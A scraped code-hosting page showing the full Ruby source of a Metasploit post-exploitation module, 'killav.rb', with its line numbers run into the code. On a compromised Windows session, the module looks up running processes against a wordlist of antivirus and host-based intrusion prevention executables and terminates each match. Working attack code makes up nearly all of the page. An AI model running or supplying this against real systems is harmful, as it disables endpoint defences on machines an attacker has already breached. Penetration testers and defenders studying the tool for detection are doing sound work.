Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/killav.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Process78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Post Kill Antivirus and Hips',13'Description' => %q{14This module attempts to locate and terminate any processes that are identified15as being Antivirus or Host-based IPS related.16},17'License' => MSF_LICENSE,18'Author' => [19'Marc-Andre Meloche (MadmanTM)',20'Nikhil Mittal (Samratashok)',21'Jerome Athias',22'OJ Reeves'23],24'Platform' => ['win'],25'SessionTypes' => %w[meterpreter powershell shell],26'Notes' => {27'Stability' => [OS_RESOURCE_LOSS],28'Reliability' => [],29'SideEffects' => []30},31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34stdapi_sys_process_get_processes35stdapi_sys_process_kill36]37}38}39)40)41end4243def run44avs = ::File.read(45::File.join(46Msf::Config.data_directory,47'wordlists',48'av_hips_executables.txt'49)50)51avs = avs.strip.downcase.split("\n").uniq5253skip_processes = [54'[system process]',55'system'56]5758av_processes = get_processes.reject { |p| skip_processes.include?(p['name'].downcase) }.keep_if { |p| avs.include?(p['name'.downcase]) }59if av_processes.empty?60print_status('No target processes were found.')61return62end6364processes_killed = 065av_processes.each do |x|66process_name = x['name']67pid = x['pid']6869print_status("Attempting to terminate '#{process_name}' (PID: #{pid}) ...")70if kill_process(pid)71processes_killed += 172print_good("#{process_name} (PID: #{pid}) terminated.")73else74print_error("Failed to terminate '#{process_name}' (PID: #{pid}).")75end76end7778print_good("A total of #{av_processes.length} process(es) were discovered, #{processes_killed} were terminated.")79end80end818283